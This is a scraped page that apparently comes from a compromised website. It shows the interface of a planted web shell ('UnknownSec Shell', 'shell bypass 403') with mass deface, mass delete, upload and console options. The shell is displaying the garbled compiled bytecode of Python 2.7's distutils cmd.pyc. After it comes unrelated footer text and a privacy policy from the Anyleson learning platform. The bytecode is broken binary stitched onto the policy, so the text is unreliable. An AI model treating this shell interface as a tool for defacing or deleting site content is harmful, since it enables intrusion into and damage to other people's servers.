shell bypass 403

UnknownSec Shell

: /lib64/python2.7/distutils/ [ drwxr-xr-x ]
upload mass deface mass delete console info server

name : cmd.pyc
�
{fc@s�dZdZddlZddlZddlZddlmZddlmZm	Z	m
Z
mZmZddlm
Z
dfd��YZd	efd
��YZdS(stdistutils.cmd

Provides the Command class, the base class for the command classes
in the distutils.command package.
s$Id$i����N(tDistutilsOptionError(tutiltdir_utilt	file_utiltarchive_utiltdep_util(tlogtCommandcBsyeZdZgZd�Zd�Zd�Zd�Zd�Zd#dd�Z
d�Zd	d
�Zd�Z
d#d�Zd#d
�Zd�Zd#d�Zd�Zd�Zd�Zd�Zd	d�Zdd�Zd�Zd�Zd�Zd#d	d�Zdd�Zd	d	d#d	d�Zd	d	dd	d�Zd	d�Zd	d	d �Z d#d#d#d#d!�Z!d#d#d	d"�Z"RS($s}Abstract base class for defining command classes, the "worker bees"
    of the Distutils.  A useful analogy for command classes is to think of
    them as subroutines with local variables called "options".  The options
    are "declared" in 'initialize_options()' and "defined" (given their
    final values, aka "finalized") in 'finalize_options()', both of which
    must be defined by every command class.  The distinction between the
    two is necessary because option values might come from the outside
    world (command line, config file, ...), and any options dependent on
    other options must be computed *after* these outside influences have
    been processed -- hence 'finalize_options()'.  The "body" of the
    subroutine, where it does all its work based on the values of its
    options, is the 'run()' method, which must also be implemented by every
    command class.
    cCs�ddlm}t||�s+td�n|jtkrFtd�n||_|j�d|_
|j|_d|_d|_
d|_dS(s�Create and initialize a new Command object.  Most importantly,
        invokes the 'initialize_options()' method, which is the real
        initializer and depends on the actual command being
        instantiated.
        i����(tDistributions$dist must be a Distribution instancesCommand is an abstract classiN(tdistutils.distRt
isinstancet	TypeErrort	__class__RtRuntimeErrortdistributiontinitialize_optionstNonet_dry_runtverbosetforcethelpt	finalized(tselftdistR((s%/usr/lib64/python2.7/distutils/cmd.pyt__init__1s	

			cCsO|dkrBt|d|�}|dkr;t|j|�S|Sn	t|�dS(Ntdry_runt_(tgetattrRRtAttributeError(Rtattrtmyval((s%/usr/lib64/python2.7/distutils/cmd.pyt__getattr__ascCs#|js|j�nd|_dS(Ni(Rtfinalize_options(R((s%/usr/lib64/python2.7/distutils/cmd.pytensure_finalizedks	
cCstd|j�dS(s�Set default values for all the options that this command
        supports.  Note that these defaults may be overridden by other
        commands, by the setup script, by config files, or by the
        command-line.  Thus, this is not the place to code dependencies
        between options; generally, 'initialize_options()' implementations
        are just a bunch of "self.foo = None" assignments.

        This method must be implemented by all command classes.
        s,abstract method -- subclass %s must overrideN(R
R(R((s%/usr/lib64/python2.7/distutils/cmd.pyR}s
cCstd|j�dS(sSet final values for all the options that this command supports.
        This is always called as late as possible, ie.  after any option
        assignments from the command-line or from other commands have been
        done.  Thus, this is the place to code option dependencies: if
        'foo' depends on 'bar', then it is safe to set 'foo' from 'bar' as
        long as 'foo' still has the same value it was assigned in
        'initialize_options()'.

        This method must be implemented by all command classes.
        s,abstract method -- subclass %s must overrideN(R
R(R((s%/usr/lib64/python2.7/distutils/cmd.pyR �stcCs�ddlm}|dkr/d|j�}n|j||dtj�|d}xy|jD]n\}}}|j|�}|ddkr�|d }nt	||�}|j|d||fdtj�q]WdS(Ni����(t
longopt_xlatescommand options for '%s':tlevels  t=s%s = %s(
tdistutils.fancy_getoptR#Rtget_command_nametannounceRtINFOtuser_optionst	translateR(RtheadertindentR#toptionRtvalue((s%/usr/lib64/python2.7/distutils/cmd.pytdump_options�s

cCstd|j�dS(s�A command's raison d'etre: carry out the action it exists to
        perform, controlled by the options initialized in
        'initialize_options()', customized by other commands, the setup
        script, the command-line, and config files, and finalized in
        'finalize_options()'.  All terminal output and filesystem
        interaction should be done by 'run()'.

        This method must be implemented by all command classes.
        s,abstract method -- subclass %s must overrideN(R
R(R((s%/usr/lib64/python2.7/distutils/cmd.pytrun�s
icCstj||�dS(smIf the current verbosity level is of greater than or equal to
        'level' print 'msg' to stdout.
        N(R(RtmsgR$((s%/usr/lib64/python2.7/distutils/cmd.pyR(�scCs/ddlm}|r+|GHtjj�ndS(s~Print 'msg' to stdout if the global DEBUG (taken from the
        DISTUTILS_DEBUG environment variable) flag is true.
        i����(tDEBUGN(tdistutils.debugR3tsyststdouttflush(RR2R3((s%/usr/lib64/python2.7/distutils/cmd.pytdebug_print�scCs[t||�}|dkr/t|||�|St|t�sWtd|||f�n|S(Ns'%s' must be a %s (got `%s`)(RRtsetattrR
tstrR(RR.twhattdefaulttval((s%/usr/lib64/python2.7/distutils/cmd.pyt_ensure_stringlike�scCs|j|d|�dS(sWEnsure that 'option' is a string; if not defined, set it to
        'default'.
        tstringN(R>(RR.R<((s%/usr/lib64/python2.7/distutils/cmd.pyt
ensure_string�scCs�t||�}|dkrdSt|t�rMt||tjd|��ndt|t�r�d}x0|D]}t|t�sid}PqiqiWnd}|s�td||f�ndS(s�Ensure that 'option' is a list of strings.  If 'option' is
        currently a string, we split it either on /,\s*/ or /\s+/, so
        "foo bar baz", "foo,bar,baz", and "foo,   bar baz" all become
        ["foo", "bar", "baz"].
        Ns,\s*|\s+iis''%s' must be a list of strings (got %r)(	RRR
R:R9tretsplittlistR(RR.R=toktelement((s%/usr/lib64/python2.7/distutils/cmd.pytensure_string_list�s 
cCsL|j|||�}|dk	rH||�rHtd|||f�ndS(Nserror in '%s' option: (R>RR(RR.ttesterR;t	error_fmtR<R=((s%/usr/lib64/python2.7/distutils/cmd.pyt_ensure_tested_string�scCs |j|tjjdd�dS(s5Ensure that 'option' is the name of an existing file.tfilenames$'%s' does not exist or is not a fileN(RItostpathtisfile(RR.((s%/usr/lib64/python2.7/distutils/cmd.pytensure_filenamescCs |j|tjjdd�dS(Nsdirectory names)'%s' does not exist or is not a directory(RIRKRLtisdir(RR.((s%/usr/lib64/python2.7/distutils/cmd.pytensure_dirname
scCs$t|d�r|jS|jjSdS(Ntcommand_name(thasattrRQRt__name__(R((s%/usr/lib64/python2.7/distutils/cmd.pyR'scGsh|jj|�}|j�xE|D]=\}}t||�dkr#t||t||��q#q#WdS(s>Set the values of any "undefined" options from corresponding
        option values in some other command object.  "Undefined" here means
        "is None", which is the convention used to indicate that an option
        has not been changed between 'initialize_options()' and
        'finalize_options()'.  Usually called from 'finalize_options()' for
        options that depend on some other command rather than another
        option of the same command.  'src_cmd' is the other command from
        which option values will be taken (a command object will be created
        for it if necessary); the remaining arguments are
        '(src_option,dst_option)' tuples which mean "take the value of
        'src_option' in the 'src_cmd' command object, and copy it to
        'dst_option' in the current command object".
        N(Rtget_command_objR!RRR9(Rtsrc_cmdtoption_pairstsrc_cmd_objt
src_optiont
dst_option((s%/usr/lib64/python2.7/distutils/cmd.pytset_undefined_optionss
	cCs#|jj||�}|j�|S(s�Wrapper around Distribution's 'get_command_obj()' method: find
        (create if necessary and 'create' is true) the command object for
        'command', call its 'ensure_finalized()' method, and return the
        finalized command object.
        (RRTR!(Rtcommandtcreatetcmd_obj((s%/usr/lib64/python2.7/distutils/cmd.pytget_finalized_command1s
icCs|jj||�S(N(Rtreinitialize_command(RR[treinit_subcommands((s%/usr/lib64/python2.7/distutils/cmd.pyR_=s	cCs|jj|�dS(s�Run some other command: uses the 'run_command()' method of
        Distribution, which creates and finalizes the command object if
        necessary and then invokes its 'run()' method.
        N(Rtrun_command(RR[((s%/usr/lib64/python2.7/distutils/cmd.pyRaAscCsLg}x?|jD]4\}}|dks4||�r|j|�qqW|S(skDetermine the sub-commands that are relevant in the current
        distribution (ie., that need to be run).  This is based on the
        'sub_commands' class attribute: each tuple in that list may include
        a method that we call to determine if the subcommand needs to be
        run for the current distribution.  Return a list of command names.
        N(tsub_commandsRtappend(Rtcommandstcmd_nametmethod((s%/usr/lib64/python2.7/distutils/cmd.pytget_sub_commandsHs
cCs!tjd|j�|f�dS(Nswarning: %s: %s
(RtwarnR'(RR2((s%/usr/lib64/python2.7/distutils/cmd.pyRhXs	cCs tj|||d|j�dS(NR(RtexecuteR(RtfunctargsR2R$((s%/usr/lib64/python2.7/distutils/cmd.pyRi\si�cCstj||d|j�dS(NR(RtmkpathR(Rtnametmode((s%/usr/lib64/python2.7/distutils/cmd.pyRl_sc	Cs)tj|||||j|d|j�S(s�Copy a file respecting verbose, dry-run and force flags.  (The
        former two default to whatever is in the Distribution object, and
        the latter defaults to false for commands that don't define it.)R(Rt	copy_fileRR(Rtinfiletoutfilet
preserve_modetpreserve_timestlinkR$((s%/usr/lib64/python2.7/distutils/cmd.pyRobsc	Cs)tj||||||jd|j�S(s\Copy an entire directory tree respecting verbose, dry-run,
        and force flags.
        R(Rt	copy_treeRR(RRpRqRrRstpreserve_symlinksR$((s%/usr/lib64/python2.7/distutils/cmd.pyRuos
	
cCstj||d|j�S(s$Move a file respecting dry-run flag.R(Rt	move_fileR(RtsrctdstR$((s%/usr/lib64/python2.7/distutils/cmd.pyRw{scCs*ddlm}|||d|j�dS(s2Spawn an external command respecting dry-run flag.i����(tspawnRN(tdistutils.spawnRzR(Rtcmdtsearch_pathR$Rz((s%/usr/lib64/python2.7/distutils/cmd.pyRzscCs+tj||||d|jd|d|�S(NRtownertgroup(Rtmake_archiveR(Rt	base_nametformattroot_dirtbase_dirR~R((s%/usr/lib64/python2.7/distutils/cmd.pyR��scCs�|dkrd|}nt|t�r4|f}n!t|ttf�sUtd�n|dkr}d|dj|�f}n|js�tj	||�r�|j
||||�n
tj|�dS(s�Special case of 'execute()' for operations that process one or
        more input files and generate one output file.  Works just like
        'execute()', except the operation is skipped and a different
        message printed if 'outfile' already exists and is newer than all
        files listed in 'infiles'.  If the command defined 'self.force',
        and it is true, then the command is unconditionally run -- does no
        timestamp checks.
        sskipping %s (inputs unchanged)s9'infiles' must be a string, or a list or tuple of stringssgenerating %s from %ss, N(
RR
R:RCttupleRtjoinRRtnewer_groupRiRtdebug(RtinfilesRqRjRktexec_msgtskip_msgR$((s%/usr/lib64/python2.7/distutils/cmd.pyt	make_file�s

	N(#RSt
__module__t__doc__RbRRR!RR RR0R1R(R8R>R@RFRIRNRPR'RZR^R_RaRgRhRiRlRoRuRwRzR�R�(((s%/usr/lib64/python2.7/distutils/cmd.pyRsD	0	
		
		
	
								
	
tinstall_misccBs;eZdZdgZd�Zd�Zd�Zd�ZRS(	s{Common base class for installing some files in a subdirectory.
    Currently used by install_data and install_scripts.
    sinstall-dir=tds!directory to install the files tocCsd|_g|_dS(N(Rtinstall_dirtoutfiles(R((s%/usr/lib64/python2.7/distutils/cmd.pyR�s	cCs|jd|df�dS(NtinstallR�(RZ(Rtdirname((s%/usr/lib64/python2.7/distutils/cmd.pyt_install_dir_from�scCsmg|_|sdS|j|j�xC|D];}|j||j�|jjtjj|j|��q*WdS(N(R�RlR�RoRcRKRLR�(Rtfilelisttf((s%/usr/lib64/python2.7/distutils/cmd.pyt_copy_files�s	
cCs|jS(N(R�(R((s%/usr/lib64/python2.7/distutils/cmd.pytget_outputs�s(sinstall-dir=R�s!directory to install the files to(RSR�R�R*RR�R�R�(((s%/usr/lib64/python2.7/distutils/cmd.pyR��s					(R�t__revision__R5RKRAtdistutils.errorsRt	distutilsRRRRRRRR�(((s%/usr/lib64/python2.7/distutils/cmd.pyt<module>s$(��

© 2025 UnknownSec
Display on the page Footer | Anyleson - Learning Platform
INR (₹)
₹
India Rupee
$
United States Dollar
Your cart is empty
Empty notifications
Login Register

Display on the page Footer

Privacy Policy

Effective Date: 24 August , 2024

At Anyleson, we are committed to protecting your privacy and ensuring that your personal information is handled securely and responsibly. This Privacy Policy outlines how we collect, use, and safeguard your data when you use our platform.

Information We Collect


  1. Personal Information:

    • Name, email address, phone number, and billing details.

    • Account login credentials (username and password).



  2. Course Usage Data:

    • Progress and activity within courses.

    • Feedback and reviews submitted for courses.



  3. Technical Information:

    • IP address, browser type, device information, and cookies for improving website functionality.



  4. Communication Data:

    • Information from your interactions with our customer support.



How We Use Your Information


  1. To Provide Services:

    • Process course purchases, registrations, and access to content.



  2. To Improve User Experience:

    • Analyze user behavior to enhance course offerings and platform features.



  3. To Communicate:

    • Send updates, notifications, and promotional offers (only if you’ve opted in).



  4. For Legal Compliance:

    • Meet legal or regulatory requirements and prevent fraud.



How We Protect Your Information


  1. Data Encryption: All sensitive data is encrypted during transmission using SSL.

  2. Access Control: Only authorized personnel have access to personal information.

  3. Secure Storage: Data is stored on secure servers with regular security updates.

Sharing Your Information

We do not sell, rent, or trade your personal data. However, we may share your information with:


  1. Service Providers:

    • Payment processors and hosting services that assist in delivering our platform.



  2. Legal Authorities:

    • When required by law or to protect our legal rights.



Your Rights


  1. Access and Update: You can view and update your personal information in your account settings.

  2. Request Deletion: You have the right to request deletion of your data by contacting us.

  3. Opt-Out: You can opt out of receiving promotional emails by clicking the “unsubscribe” link in our emails.

Cookies Policy

We use cookies to enhance your experience by:


  • Remembering your preferences.

  • Analyzing website traffic.
    You can manage your cookie preferences through your browser settings.

Third-Party Links

Our platform may contain links to third-party websites. We are not responsible for their privacy practices and recommend reviewing their privacy policies.

Policy Updates

We may update this Privacy Policy from time to time. Changes will be posted on this page, and the "Effective Date" will be updated. Please review the policy periodically.

Contact Us

If you have any questions or concerns about our Privacy Policy or how your data is handled, please contact us at:

Email: support@anyleson.comThank you for trusting Anyleson with your learning journey!